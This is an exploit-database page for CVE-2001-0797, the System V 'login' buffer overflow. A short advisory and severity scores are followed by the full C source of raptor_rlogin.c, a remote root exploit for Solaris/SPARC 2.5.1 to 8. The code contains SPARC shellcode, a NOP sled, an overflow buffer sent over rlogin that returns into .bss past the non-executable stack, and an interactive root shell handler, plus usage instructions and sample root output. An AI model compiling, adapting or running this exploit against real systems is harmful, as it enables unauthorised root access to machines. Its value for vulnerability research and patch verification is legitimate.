10 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C
0.974 High
EPSS
Percentile
99.9%
Solaris/SPARC 2.5.1/2.6/7/8 Derived ‘login’ Buffer Overflow Vulnerability. CVE-2001-0797. Remote exploit for solaris platform
source: http://www.securityfocus.com/bid/3681/info
The 'login' program is used in UNIX systems to authenticate users with a username and password. The utility is typically invoked at the console, by 'telnetd', 'rlogind', and if configured to do so, SSH.
Versions of 'login' descended from System V UNIX contain a buffer overflow when handling environment variables. Several operating systems such as Solaris/SunOS, HP-UX, AIX, IRIX, and Unixware contain vulnerable versions of 'login'.
Unauthenticated clients can exploit this issue to execute arbitrary code as root. On systems where 'login' is installed setuid root, local attackers can elevate privileges.
/*
* $Id: raptor_rlogin.c,v 1.1 2004/12/04 14:44:38 raptor Exp $
*
* raptor_rlogin.c - (r)login, Solaris/SPARC 2.5.1/2.6/7/8
* Copyright (c) 2004 Marco Ivaldi <[email protected]>
*
* Buffer overflow in login in various System V based operating systems
* allows remote attackers to execute arbitrary commands via a large number
* of arguments through services such as telnet and rlogin (CVE-2001-0797).
*
* Dedicated to my beautiful croatian ladies (hello Zrinka!) -- August 2004
*
* This remote root exploit uses the (old) System V based /bin/login
* vulnerability via the rlogin attack vector, returning into the .bss
* section to effectively bypass the non-executable stack protection
* (noexec_user_stack=1 in /etc/system).
*
* Many thanks to scut <[email protected]> (0dd) for his elite pam_handle_t
* technique (see 7350logout.c), also thanks to inode <[email protected]>.
*
* Usage (must be root):
* # gcc raptor_rlogin.c -o raptor_rlogin -Wall
* [on solaris: gcc raptor_rlogin.c -o raptor_rlogin -Wall -lxnet]
* # ./raptor_rlogin -h 192.168.0.50
* [...]
* # id;uname -a;uptime;
* uid=0(root) gid=0(root)
* SunOS merlino 5.8 Generic_108528-13 sun4u sparc SUNW,Ultra-5_10
* 7:45pm up 12 day(s), 18:42, 1 user, load average: 0.00, 0.00, 0.01
* #
*
* Vulnerable platforms (SPARC):
* Solaris 2.5.1 without patch 106160-02 [untested]
* Solaris 2.6 without patch 105665-04 [untested]
* Solaris 7 without patch 112300-01 [untested]
* Solaris 8 without patch 111085-02 [tested]
*/
#include <errno.h>
#include <fcntl.h>
#include <netdb.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define INFO1 "raptor_rlogin.c - (r)login, Solaris/SPARC 2.5.1/2.6/7/8"
#define INFO2 "Copyright (c) 2004 Marco Ivaldi <[email protected]>"
#define BUFSIZE 3000 // max size of the evil buffer
#define RETADDR 0x27184 // retaddr, should be reliable
#define TIMEOUT 10 // net_read() default timeout
#define CMD "id;uname -a;uptime;\n" // executed upon exploitation
char sc[] = /* Solaris/SPARC special shellcode (courtesy of inode) */
/* execve() + exit() */
"\x94\x10\x20\x00\x21\x0b\xd8\x9a\xa0\x14\x21\x6e\x23\x0b\xcb\xdc"
"\xa2\x14\x63\x68\xd4\x23\xbf\xfc\xe2\x23\xbf\xf8\xe0\x23\xbf\xf4"
"\x90\x23\xa0\x0c\xd4\x23\xbf\xf0\xd0\x23\xbf\xec\x92\x23\xa0\x14"
"\x82\x10\x20\x3b\x91\xd0\x20\x08\x82\x10\x20\x01\x91\xd0\x20\x08";
char sparc_nop[] = /* Solaris/SPARC special nop (xor %sp, %sp, %o0) */
"\x90\x1b\x80\x0e";
/* prototypes */
int exploit_addchar(unsigned char *ww, unsigned char wc);
void fatalerr(char *func, char *error, int fd);
int net_connect(char *host, int port, int timeout);
int net_read(int fd, char *buf, int size, int timeout);
int net_resolve(char *host);
int sc_copy(unsigned char *buf, char *str, long len);
void set_val(char *buf, int pos, int val);
void shell(int fd);
void usage(char *progname);
/*
* main()
*/
int main(int argc, char **argv)
{
char buf[BUFSIZE], *p = buf;
char c, *host = NULL, term[] = "vt100/9600";
int fd, i, found, len;
int timeout = TIMEOUT, debug = 0;
/* print exploit information */
fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);
/* parse command line */
if (argc < 2)
usage(argv[0]);
while ((c = getopt(argc, argv, "dh:t:")) != EOF)
switch(c) {
case 'h':
host = optarg;
break;
case 't':
timeout = atoi(optarg);
break;
case 'd':
debug = 1;
break;
default:
usage(argv[0]);
}
if (!host)
usage(argv[0]);
/* connect to the target host */
fd = net_connect(host, 513, 10);
fprintf(stderr, "# connected to remote host: %s\n", host);
/* signal handling */
signal(SIGPIPE, SIG_IGN);
/* begin the rlogin session */
memset(buf, 0, sizeof(buf));
if (send(fd, buf, 1, 0) < 0)
fatalerr("send", strerror(errno), fd);
if (net_read(fd, buf, sizeof(buf), timeout) < 0)
fatalerr("error", "Timeout reached in rlogin session", fd);
/* dummy rlogin authentication */
memcpy(p, "foo", 3); // local login name
p += 4;
memcpy(p, "bar", 3); // remote login name
p += 4;
memcpy(p, term, sizeof(term)); // terminal type
p += sizeof(term);
fprintf(stderr, "# performing dummy rlogin authentication\n");
if (send(fd, buf, p - buf, 0) < 0)
fatalerr("send", strerror(errno), fd);
/* wait for password prompt */
found = 0;
memset(buf, 0, sizeof(buf));
while (net_read(fd, buf, sizeof(buf), timeout)) {
if (strstr(buf, "assword: ") != NULL) {
found = 1;
break;
}
memset(buf, 0, sizeof(buf));
}
if (!found)
fatalerr("error", "Timeout waiting for password prompt", fd);
/* send a dummy password */
if (send(fd, "pass\n", 5, 0) < 0)
fatalerr("send", strerror(errno), fd);
/* wait for login prompt */
found = 0;
memset(buf, 0, sizeof(buf));
fprintf(stderr, "# waiting for login prompt\n");
while (net_read(fd, buf, sizeof(buf), timeout)) {
if (strstr(buf, "ogin: ") != NULL) {
found = 1;
break;
}
memset(buf, 0, sizeof(buf));
}
if (!found)
fatalerr("error", "Timeout waiting for login prompt", fd);
fprintf(stderr, "# returning into 0x%08x\n", RETADDR);
/* for debugging purposes */
if (debug) {
printf("# debug: press enter to continue");
scanf("%c", &c);
}
/* prepare the evil buffer */
memset(buf, 0, sizeof(buf));
p = buf;
/* login name */
memcpy(p, "foo ", 4);
p += 4;
/* return address (env) */
set_val(p, 0, RETADDR);
p += 4;
memcpy(p, " ", 1);
p++;
/* trigger the overflow (env) */
for (i = 0; i < 60; i++, p += 2)
memcpy(p, "a ", 2);
/* padding */
memcpy(p, " BBB", 4);
p += 4;
/* nop sled and shellcode */
for (i = 0; i < 398; i++, p += 4)
memcpy(p, sparc_nop, 4);
p += sc_copy(p, sc, sizeof(sc) - 1);
/* padding */
memcpy(p, "BBB ", 4);
p += 4;
/* pam_handle_t: minimal header */
memcpy(p, "CCCCCCCCCCCCCCCC", 16);
p += 16;
set_val(p, 0, RETADDR); // must be a valid address
p += 4;
set_val(p, 0, 0x01);
p += 4;
/* pam_handle_t: NULL padding */
for (i = 0; i < 52; i++, p += 4)
set_val(p, 0, 0x00);
/* pam_handle_t: pameptr must be the 65th ptr */
memcpy(p, "\x00\x00\x00 AAAA\n", 9);
p += 9;
/* send the evil buffer, 256 chars a time */
len = p - buf;
p = buf;
while (len > 0) {
fprintf(stderr, "#");
i = len > 0x100 ? 0x100 : len;
send(fd, p, i, 0);
len -= i;
p += i;
if (len)
send(fd, "\x04", 1, 0);
usleep(500000);
}
fprintf(stderr, "\n");
/* wait for password prompt */
found = 0;
memset(buf, 0, sizeof(buf));
fprintf(stderr, "# evil buffer sent, waiting for password prompt\n");
while (net_read(fd, buf, sizeof(buf), timeout)) {
if (strstr(buf, "assword: ") != NULL) {
found = 1;
break;
}
memset(buf, 0, sizeof(buf));
}
if (!found)
fatalerr("error", "Most likely not vulnerable", fd);
fprintf(stderr, "# password prompt received, waiting for shell\n");
if (send(fd, "pass\n", 5, 0) < 0)
fatalerr("send", strerror(errno), fd);
/* wait for shell prompt */
memset(buf, 0, sizeof(buf));
found = 0;
while (net_read(fd, buf, sizeof(buf), timeout)) {
if (strstr(buf, "# ") != NULL) {
found = 1;
break;
}
memset(buf, 0, sizeof(buf));
}
if (!found)
fatalerr("error", "Most likely not vulnerable", fd);
/* connect to the remote shell */
fprintf(stderr, "# shell prompt detected, successful exploitation\n\n");
shell(fd);
exit(0);
}
/*
* exploit_addchar(): char translation for pam (ripped from scut)
*/
int exploit_addchar(unsigned char *ww, unsigned char wc)
{
unsigned char * wwo = ww;
switch (wc) {
case ('\\'):
*ww++ = '\\';
*ww++ = '\\';
break;
case (0xff):
case ('\n'):
case (' '):
case ('\t'):
*ww++ = '\\';
*ww++ = ((wc & 0300) >> 6) + '0';
*ww++ = ((wc & 0070) >> 3) + '0';
*ww++ = (wc & 0007) + '0';
break;
default:
*ww++ = wc;
break;
}
return (ww - wwo);
}
/*
* fatalerr(): error handling routine
*/
void fatalerr(char *func, char *error, int fd)
{
fprintf(stderr, "%s: %s\n", func, error);
close(fd);
exit(1);
}
/*
* net_connect(): simple network connect with timeout
*/
int net_connect(char *host, int port, int timeout)
{
int fd, i, flags, sock_len;
struct sockaddr_in sin;
struct timeval tv;
fd_set fds;
/* allocate a socket */
if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
perror("socket");
exit(1);
}
/* bind a privileged port (FIXME) */
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = htonl(INADDR_ANY);
for (i = 1023; i > 0; i--) {
sin.sin_port = htons(i);
if (!(bind(fd, (struct sockaddr *)&sin, sizeof(sin))))
break;
}
if (i == 0)
fatalerr("error", "Can't bind a privileged port (must be root)", fd);
/* resolve the peer address */
sin.sin_port = htons(port);
if (!(sin.sin_addr.s_addr = net_resolve(host)))
fatalerr("error", "Can't resolve hostname", fd);
/* set non-blocking */
if ((flags = fcntl(fd, F_GETFL, 0)) < 0)
fatalerr("fcntl", strerror(errno), fd);
if (fcntl(fd, F_SETFL, flags | O_NONBLOCK) < 0)
fatalerr("fcntl", strerror(errno), fd);
/* connect to remote host */
if (!(connect(fd, (struct sockaddr *)&sin, sizeof(sin)))) {
if (fcntl(fd, F_SETFL, flags) < 0)
fatalerr("fcntl", strerror(errno), fd);
return(fd);
}
if (errno != EINPROGRESS)
fatalerr("error", "Can't connect to remote host", fd);
/* set timeout */
tv.tv_sec = timeout;
tv.tv_usec = 0;
/* setup select structs */
FD_ZERO(&fds);
FD_SET(fd, &fds);
/* select */
if (select(FD_SETSIZE, NULL, &fds, NULL, &tv) <= 0)
fatalerr("error", "Can't connect to remote host", fd);
/* check if connected */
sock_len = sizeof(sin);
if (getpeername(fd, (struct sockaddr *)&sin, &sock_len) < 0)
fatalerr("error", "Can't connect to remote host", fd);
if (fcntl(fd, F_SETFL, flags) < 0)
fatalerr("fcntl", strerror(errno), fd);
return(fd);
}
/*
* net_read(): non-blocking read from fd
*/
int net_read(int fd, char *buf, int size, int timeout)
{
fd_set fds;
struct timeval wait;
int n = -1;
/* set timeout */
wait.tv_sec = timeout;
wait.tv_usec = 0;
memset(buf, 0, size);
FD_ZERO(&fds);
FD_SET(fd, &fds);
/* select with timeout */
if (select(FD_SETSIZE, &fds, NULL, NULL, &wait) < 0) {
perror("select");
exit(1);
}
/* read data if any */
if (FD_ISSET(fd, &fds))
n = read(fd, buf, size);
return n;
}
/*
* net_resolve(): simple network resolver
*/
int net_resolve(char *host)
{
struct in_addr addr;
struct hostent *he;
memset(&addr, 0, sizeof(addr));
if ((addr.s_addr = inet_addr(host)) == -1) {
if (!(he = (struct hostent *)gethostbyname(host)))
return(0);
memcpy((char *)&addr.s_addr, he->h_addr, he->h_length);
}
return(addr.s_addr);
}
/*
* sc_copy(): copy the shellcode, using exploit_addchar()
*/
int sc_copy(unsigned char *buf, char *str, long len)
{
unsigned char *or = buf;
int i;
for(i = 0; i < len; i++)
buf += exploit_addchar(buf, str[i]);
return(buf - or);
}
/*
* set_val(): copy a dword inside a buffer
*/
void set_val(char *buf, int pos, int val)
{
buf[pos] = (val & 0xff000000) >> 24;
buf[pos + 1] = (val & 0x00ff0000) >> 16;
buf[pos + 2] = (val & 0x0000ff00) >> 8;
buf[pos + 3] = (val & 0x000000ff);
}
/*
* shell(): semi-interactive shell hack
*/
void shell(int fd)
{
fd_set fds;
char tmp[128];
int n;
/* quote Hvar 2004 */
fprintf(stderr, "\"Da Bog da ti se mamica nahitavala s vragom po dvoristu!\" -- Bozica (Hrvatska)\n\n");
/* execute auto commands */
write(1, "# ", 2);
write(fd, CMD, strlen(CMD));
/* semi-interactive shell */
for (;;) {
FD_ZERO(&fds);
FD_SET(fd, &fds);
FD_SET(0, &fds);
if (select(FD_SETSIZE, &fds, NULL, NULL, NULL) < 0) {
perror("select");
break;
}
/* read from fd and write to stdout */
if (FD_ISSET(fd, &fds)) {
if ((n = read(fd, tmp, sizeof(tmp))) < 0) {
fprintf(stderr, "Goodbye...\n");
break;
}
if (write(1, tmp, n) < 0) {
perror("write");
break;
}
}
/* read from stdin and write to fd */
if (FD_ISSET(0, &fds)) {
if ((n = read(0, tmp, sizeof(tmp))) < 0) {
perror("read");
break;
}
if (write(fd, tmp, n) < 0) {
perror("write");
break;
}
}
}
close(fd);
exit(1);
}
void usage(char *progname)
{
fprintf(stderr, "usage: %s [-h host] [-t timeout] [-d]\n\n", progname);
fprintf(stderr, "-h host\t\tdestination ip or fqdn\n");
fprintf(stderr, "-t timeout\tnet_read() timeout (default: %d)\n", TIMEOUT);
fprintf(stderr, "-d\t\tturn on debug mode\n\n");
exit(1);
}